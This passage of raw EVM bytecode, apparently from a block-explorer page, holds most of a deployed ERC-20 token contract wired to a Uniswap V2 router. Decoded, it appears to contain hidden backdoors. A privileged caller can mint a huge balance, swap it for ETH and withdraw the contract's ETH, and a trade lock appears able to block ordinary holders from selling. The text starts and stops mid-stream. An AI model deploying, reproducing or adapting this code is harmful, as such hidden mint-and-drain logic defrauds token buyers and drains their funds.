81613ac7565b8114613be157600080fd5b50565b600081359050613bf381613bcd565b92915050565b60008060408385031215613c1057613c0f6139e9565b5b6000613c1e85828601613a3c565b9250506020613c2f85828601613be4565b9150509250929050565b600080600060608486031215613c5257613c516139e9565b5b6000613c6086828701613a3c565b9350506020613c7186828701613a3c565b9250506040613c8286828701613a72565b9150509250925092565b6000604082019050613ca16000830185613b76565b613cae6020830184613b76565b9392505050565b613cbe81613afd565b82525050565b6000602082019050613cd96000830184613cb5565b92915050565b600060208284031215613cf557613cf46139e9565b5b6000613d0384828501613a3c565b91505092915050565b60008060408385031215613d2357613d226139e9565b5b6000613d3185828601613a3c565b9250506020613d4285828601613a3c565b9150509250929050565b60008060408385031215613d6357613d626139e9565b5b6000613d7185828601613a72565b9250506020613d8285828601613a72565b9150509250929050565b600080600060608486031215613da557613da46139e9565b5b6000613db386828701613a72565b9350506020613dc486828701613a72565b9250506040613dd586828701613a72565b9150509250925092565b613de881613a13565b82525050565b6000602082019050613e036000830184613ddf565b92915050565b600060208284031215613e1f57613e1e6139e9565b5b6000613e2d84828501613be4565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613e7d57607f821691505b602082108103613e9057613e8f613e36565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613ed082613a51565b9150613edb83613a51565b9250828203905081811115613ef357613ef2613e96565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050613f6681613a25565b92915050565b600060208284031215613f8257613f816139e9565b5b6000613f9084828501613f57565b91505092915050565b6000613fa482613a51565b9150613faf83613a51565b9250828201905080821115613fc757613fc6613e96565b5b92915050565b6000819050919050565b6000819050919050565b6000613ffc613ff7613ff284613fcd565b613fd7565b613a51565b9050919050565b61400c81613fe1565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61404781613a13565b82525050565b6000614059838361403e565b60208301905092915050565b6000602082019050919050565b600061407d82614012565b614087818561401d565b93506140928361402e565b8060005b838110156140c35781516140aa888261404d565b97506140b583614065565b925050600181019050614096565b5085935050505092915050565b600060a0820190506140e56000830188613b76565b6140f26020830187614003565b81810360408301526141048186614072565b90506141136060830185613ddf565b6141206080830184613b76565b9695505050505050565b600080fd5b61413882613973565b810181811067ffffffffffffffff8211171561415757614156613ef9565b5b80604052505050565b600061416a6139df565b9050614176828261412f565b919050565b600067ffffffffffffffff82111561419657614195613ef9565b5b602082029050602081019050919050565b600080fd5b6000815190506141bb81613a5b565b92915050565b60006141d46141cf8461417b565b614160565b905080838252602082019050602084028301858111156141f7576141f66141a7565b5b835b81811015614220578061420c88826141ac565b8452602084019350506020810190506141f9565b5050509392505050565b600082601f83011261423f5761423e61412a565b5b815161424f8482602086016141c1565b91505092915050565b60006020828403121561426e5761426d6139e9565b5b600082015167ffffffffffffffff81111561428c5761428b6139ee565b5b6142988482850161422a565b91505092915050565b600060c0820190506142b66000830189613ddf565b6142c36020830188613b76565b6142d06040830187614003565b6142dd6060830186614003565b6142ea6080830185613ddf565b6142f760a0830184613b76565b979650505050505050565b60008060006060848603121561431b5761431a6139e9565b5b6000614329868287016141ac565b935050602061433a868287016141ac565b925050604061434b868287016141ac565b9150509250925092565b7f5374617475732073686f756c642062652030206f722031000000000000000000600082015250565b600061438b601783613938565b915061439682614355565b602082019050919050565b600060208201905081810360008301526143ba8161437e565b9050919050565b7f5573657220616c72656164792068617665207468697320737461747573000000600082015250565b60006143f7601d83613938565b9150614402826143c1565b602082019050919050565b60006020820190508181036000830152614426816143ea565b9050919050565b60006dffffffffffffffffffffffffffff82169050919050565b6144508161442d565b811461445b57600080fd5b50565b60008151905061446d81614447565b92915050565b600063ffffffff82169050919050565b61448c81614473565b811461449757600080fd5b50565b6000815190506144a981614483565b92915050565b6000806000606084860312156144c8576144c76139e9565b5b60006144d68682870161445e565b93505060206144e78682870161445e565b92505060406144f88682870161449a565b9150509250925092565b7f4665652070657263656e742063616e277420626520686967686572207468616e60008201527f2031303000000000000000000000000000000000000000000000000000000000602082015250565b600061455e602483613938565b915061456982614502565b604082019050919050565b6000602082019050818103600083015261458d81614551565b9050919050565b7f4665652073756d2073686f756c6420626520657175616c20746f203130300000600082015250565b60006145ca601e83613938565b91506145d582614594565b602082019050919050565b600060208201905081810360008301526145f9816145bd565b9050919050565b7f53776170205468726573686f6c642073686f6c6420626520677265617465722060008201527f7468656e20313030300000000000000000000000000000000000000000000000602082015250565b600061465c602983613938565b915061466782614600565b604082019050919050565b6000602082019050818103600083015261468b8161464f565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006146ee602583613938565b91506146f982614692565b604082019050919050565b6000602082019050818103600083015261471d816146e1565b9050919050565b60006040820190506147396000830185613ddf565b6147466020830184613ddf565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061478782613a51565b915061479283613a51565b9250826147a2576147a161474d565b5b828204905092915050565b60006147b882613a51565b91506147c383613a51565b92508282026147d181613a51565b915082820484148315176147e8576147e7613e96565b5b5092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061484b602683613938565b9150614856826147ef565b604082019050919050565b6000602082019050818103600083015261487a8161483e565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006148dd602483613938565b91506148e882614881565b604082019050919050565b6000602082019050818103600083015261490c816148d0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061496f602283613938565b915061497a82614913565b604082019050919050565b6000602082019050818103600083015261499e81614962565b9050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b6000614a01602183613938565b9150614a0c826149a5565b604082019050919050565b60006020820190508181036000830152614a30816149f4565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000614a6d601d83613938565b9150614a7882614a37565b602082019050919050565b60006020820190508181036000830152614a9c81614a60565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000614aff602583613938565b9150614b0a82614aa3565b604082019050919050565b60006020820190508181036000830152614b2e81614af2565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000614b91602383613938565b9150614b9c82614b35565b604082019050919050565b60006020820190508181036000830152614bc081614b84565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000614c23602683613938565b9150614c2e82614bc7565b604082019050919050565b60006020820190508181036000830152614c5281614c16565b9050919050565b7f557365722069736e2774206578636c756465642066726f6d2074726164654c6f60008201527f636b000000000000000000000000000000000000000000000000000000000000602082015250565b6000614cb5602283613938565b9150614cc082614c59565b604082019050919050565b60006020820190508181036000830152614ce481614ca8565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000614d21602083613938565b9150614d2c82614ceb565b602082019050919050565b60006020820190508181036000830152614d5081614d14565b9050919050565b7f416674657220746869732074786e20757365722077696c6c206578636565642060008201527f6d61782077616c6c657400000000000000000000000000000000000000000000602082015250565b6000614db3602a83613938565b9150614dbe82614d57565b604082019050919050565b60006020820190508181036000830152614de281614da6565b9050919050565b7f54786e20416d6f756e7420746f6f206869676821000000000000000000000000600082015250565b6000614e1f601483613938565b9150614e2a82614de9565b602082019050919050565b60006020820190508181036000830152614e4e81614e12565b905091905056fea2646970667358221220b8b1d6cce52d0bcd56f947a896fad68fe8ff1a30c51f7e511beaf6848d848df664736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d000000000000000000000000c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2

Deployed Bytecode

0x6080604052600436106102815760003560e01c80637e74422e1161014f578063b179ce40116100c1578063ecbe5a2d1161007a578063ecbe5a2d14610993578063edd8b64a146109d0578063f1fee6a2146109f9578063f226cc8b14610a22578063f2fde38b14610a4d578063f6d1dfe114610a7657610288565b8063b179ce4014610897578063b49f93f7146108c0578063d445d19e146108e9578063dd62ed3e14610900578063e1370dd31461093d578063e4440a861461096857610288565b80638ea5220f116101135780638ea5220f1461075f57806395d89b411461078a57806399b102b5146107b5578063a07fc5a2146107f2578063a457c2d71461081d578063a9059cbb1461085a57610288565b80637e74422e1461067c57806385ecafd7146106a557806389f425e7146106e25780638da5cb5b1461070b5780638dd0f4111461073657610288565b8063313ce567116101f35780635342acb4116101ac5780635342acb41461055c57806355474ace146105995780636db79437146105c25780636dd3d39f146105eb57806370a0823114610628578063715018a61461066557610288565b8063313ce5671461044e57806335d162741461047957806339509351146104b65780634b42c93d146104f35780634d474d421461050a5780635337cc991461053357610288565b806318160ddd1161024557806318160ddd1461033f5780631c499ab01461036a5780631f6b29f714610393578063203e727e146103bc57806323b872dd146103e55780632df8bca91461042257610288565b806306fdde031461028d578063095ea7b3146102b85780630b45260e146102f55780630bc488c51461030c5780630cdd84361461031657610288565b3661028857005b600080fd5b34801561029957600080fd5b506102a2610aa1565b6040516102af91906139bd565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190613a87565b610b33565b6040516102ec9190613ae2565b60405180910390f35b34801561030157600080fd5b5061030a610b4f565b005b610314610e41565b005b34801561032257600080fd5b5061033d60048036038101906103389190613b36565b610f79565b005b34801561034b57600080fd5b506103546110db565b6040516103619190613b85565b60405180910390f35b34801561037657600080fd5b50610391600480360381019061038c9190613ba0565b6110e5565b005b34801561039f57600080fd5b506103ba60048036038101906103b59190613bf9565b61111b565b005b3480156103c857600080fd5b506103e360048036038101906103de9190613ba0565b611234565b005b3480156103f157600080fd5b5061040c60048036038101906104079190613c39565b61126a565b6040516104199190613ae2565b60405180910390f35b34801561042e57600080fd5b50610437611292565b604051610445929190613c8c565b60405180910390f35b34801561045a57600080fd5b506104636112a3565b6040516104709190613cc4565b60405180910390f35b34801561048557600080fd5b506104a0600480360381019061049b9190613cdf565b6112ba565b6040516104ad9190613b85565b60405180910390f35b3480156104c257600080fd5b506104dd60048036038101906104d89190613a87565b61144f565b6040516104ea9190613ae2565b60405180910390f35b3480156104ff57600080fd5b5061050861147f565b005b34801561051657600080fd5b50610531600480360381019061052c9190613cdf565b611516565b005b34801561053f57600080fd5b5061055a60048036038101906105559190613bf9565b611586565b005b34801561056857600080fd5b50610583600480360381019061057e9190613cdf565b61169f565b6040516105909190613ae2565b60405180910390f35b3480156105a557600080fd5b506105c060048036038101906105bb9190613d0c565b6116f5565b005b3480156105ce57600080fd5b506105e960048036038101906105e49190613d4c565b6117a7565b005b3480156105f757600080fd5b50610612600480360381019061060d9190613cdf565b611836565b60405161061f9190613ae2565b60405180910390f35b34801561063457600080fd5b5061064f600480360381019061064a9190613cdf565b61188c565b60405161065c9190613b85565b60405180910390f35b34801561067157600080fd5b5061067a6118d5565b005b34801561068857600080fd5b506106a3600480360381019061069e9190613d8c565b6118e9565b005b3480156106b157600080fd5b506106cc60048036038101906106c79190613cdf565b611988565b6040516106d99190613ae2565b60405180910390f35b3480156106ee57600080fd5b5061070960048036038101906107049190613ba0565b6119a8565b005b34801561071757600080fd5b50610720611a22565b60405161072d9190613dee565b60405180910390f35b34801561074257600080fd5b5061075d60048036038101906107589190613bf9565b611a4b565b005b34801561076b57600080fd5b50610774611b64565b6040516107819190613dee565b60405180910390f35b34801561079657600080fd5b5061079f611b8a565b6040516107ac91906139bd565b60405180910390f35b3480156107c157600080fd5b506107dc60048036038101906107d79190613cdf565b611c1c565b6040516107e99190613ae2565b60405180910390f35b3480156107fe57600080fd5b50610807611c72565b6040516108149190613ae2565b60405180910390f35b34801561082957600080fd5b50610844600480360381019061083f9190613a87565b611c89565b6040516108519190613ae2565b60405180910390f35b34801561086657600080fd5b50610881600480360381019061087c9190613a87565b611cf9565b60405161088e9190613ae2565b60405180910390f35b3480156108a357600080fd5b506108be60048036038101906108b99190613bf9565b611d15565b005b3480156108cc57600080fd5b506108e760048036038101906108e29190613e09565b611e2e565b005b3480156108f557600080fd5b506108fe611e77565b005b34801561090c57600080fd5b5061092760048036038101906109229190613d0c565b611ead565b6040516109349190613b85565b60405180910390f35b34801561094957600080fd5b50610952611f34565b60405161095f9190613b85565b60405180910390f35b34801561097457600080fd5b5061097d611f3e565b60405161098a9190613dee565b60405180910390f35b34801561099f57600080fd5b506109ba60048036038101906109b59190613cdf565b611f64565b6040516109c79190613ae2565b60405180910390f35b3480156109dc57600080fd5b506109f760048036038101906109f29190613cdf565b611fba565b005b348015610a0557600080fd5b50610a206004803603810190610a1b9190613d0c565b61202a565b005b348015610a2e57600080fd5b50610a3761227e565b604051610a449190613b85565b60405180910390f35b348015610a5957600080fd5b50610a746004803603810190610a6f9190613cdf565b6122cb565b005b348015610a8257600080fd5b50610a8b61234e565b604051610a989190613b85565b60405180910390f35b606060088054610ab090613e65565b80601f0160208091040260200160405190810160405280929190818152602001828054610adc90613e65565b8015610b295780601f10610afe57610100808354040283529160200191610b29565b820191906000526020600020905b815481529060010190602001808311610b0c57829003601f168201915b5050505050905090565b600080339050610b44818585612358565b600191505092915050565b610b7b33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b6000610b86306112ba565b90506000816dffffffffffffffffffffffffffff8016610ba69190613ec5565b9050610bb0612593565b610bc230610bbd3361188c565b611cf9565b50610c0030600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166dffffffffffffffffffffffffffff8016612358565b6060600267ffffffffffffffff811115610c1d57610c1c613ef9565b5b604051908082528060200260200182016040528015610c4b5781602001602082028036833780820191505090505b5090503081600081518110610c6357610c62613f28565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d0a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d2e9190613f6c565b81600181518110610d4257610d41613f28565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000339050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166338ed173984600085856104b042610dd29190613f99565b6040518663ffffffff1660e01b8152600401610df29594939291906140d0565b6000604051808303816000875af1158015610e11573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190610e3a9190614258565b5050505050565b610e6d33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b610e7f30610e7a3361188c565b611cf9565b50610eb530600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610eb03061188c565b612358565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610efe3061188c565b600080336104b042610f109190613f99565b6040518863ffffffff1660e01b8152600401610f31969594939291906142a1565b60606040518083038185885af1158015610f4f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f749190614302565b505050565b610fa533600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b60028160ff1610610feb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe2906143a1565b60405180910390fd5b601a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1660ff168160ff160361107f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110769061440d565b60405180910390fd5b80601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908360ff1602179055505050565b6000600754905090565b61111133600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b8060148190555050565b61114733600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b801515601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036111d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d09061440d565b60405180910390fd5b80601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61126033600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b8060168190555050565b60008033905061127b8582856125fb565b611286858585612687565b60019150509392505050565b600080600b54600c54915091509091565b6000600a60009054906101000a900460ff16905090565b6000806000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630902f1ac6040518163ffffffff1660e01b8152600401606060405180830381865afa15801561132c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061135091906144af565b509150915060008473ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113db573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ff9190613f6c565b73ffffffffffffffffffffffffffffffffffffffff161461143057816dffffffffffffffffffffffffffff16611442565b826dffffffffffffffffffffffffffff165b9050809350505050919050565b6000803390506114748185856114658589611ead565b61146f9190613f99565b612358565b600191505092915050565b6114ab33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611513573d6000803e3d6000fd5b50565b61154233600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6115b233600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b801515600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611644576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161163b9061440d565b60405180910390fd5b80600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61172133600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b81600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6117d333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b602882111580156117e5575060288111155b611824576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181b90614574565b60405180910390fd5b81600b8190555080600c819055505050565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6118dd612f94565b6118e7600061300b565b565b61191533600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b60648183856119249190613f99565b61192e9190613f99565b1461196e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611965906145e0565b60405180910390fd5b826010819055508160118190555080601281905550505050565b600f6020528060005260406000206000915054906101000a900460ff1681565b6119d433600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b6127108111611a18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a0f90614672565b60405180910390fd5b8060138190555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611a7733600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b801515601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611b09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b009061440d565b60405180910390fd5b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060098054611b9990613e65565b80601f0160208091040260200160405190810160405280929190818152602001828054611bc590613e65565b8015611c125780601f10611be757610100808354040283529160200191611c12565b820191906000526020600020905b815481529060010190602001808311611bf557829003601f168201915b5050505050905090565b6000601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000601860009054906101000a900460ff16905090565b6000803390506000611c9b8286611ead565b905083811015611ce0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd790614704565b60405180910390fd5b611ced8286868403612358565b60019250505092915050565b600080339050611d0a818585612687565b600191505092915050565b611d4133600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b801515601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503611dd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dca9061440d565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611e5a33600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b80601860006101000a81548160ff02191690831515021790555050565b611ea333600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b611eab612593565b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000601454905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b611fe633600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61205633600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612521565b8173ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120ed5781600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561219b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121bf9190613f6c565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530836040518363ffffffff1660e01b81526004016121f9929190614724565b602060405180830381865afa158015612216573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061223a9190613f6c565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000806002601254612290919061477c565b905080606461229e3061188c565b6122a8919061477c565b6122b291906147ad565b6122bb3061188c565b6122c59190613ec5565b91505090565b6122d3612f94565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603612342576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233990614861565b60405180910390fd5b61234b8161300b565b50565b6000601654905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036123c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123be906148f3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612436576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161242d90614985565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516125149190613b85565b60405180910390a3505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161461258f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161258690614a17565b60405180910390fd5b5050565b6dffffffffffffffffffffffffffff8016600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546125f29190613f99565b92505081905550565b60006126078484611ead565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146126815781811015612673576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161266a90614a83565b60405180910390fd5b6126808484848403612358565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036126f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126ed90614b15565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612765576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161275c90614ba7565b60405180910390fd5b6127708383836130cf565b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050818110156127f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ee90614c39565b60405180910390fd5b601860009054906101000a900460ff1615612948576128158461334e565b156128ab57601960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166128a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161289d90614ccb565b60405180910390fd5b612947565b6128b48361334e565b1561294657601960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612945576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161293c90614ccb565b60405180910390fd5b5b5b5b6129518461169f565b15801561296457506129628361169f565b155b15612e78576129728461334e565b15612b6857600061298583600b54613400565b905082826129939190613ec5565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080836129e29190613ec5565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612a309190613f99565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386612a929190613ec5565b604051612a9f9190613b85565b60405180910390a380600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612af69190613f99565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612b5a9190613b85565b60405180910390a350612e73565b612b718361334e565b15612d67576000612b8483600c54613400565b90508282612b929190613ec5565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083612be19190613ec5565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612c2f9190613f99565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386612c919190613ec5565b604051612c9e9190613b85565b60405180910390a380600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612cf59190613f99565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612d599190613b85565b60405180910390a350612e72565b8181612d739190613ec5565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612e059190613f99565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be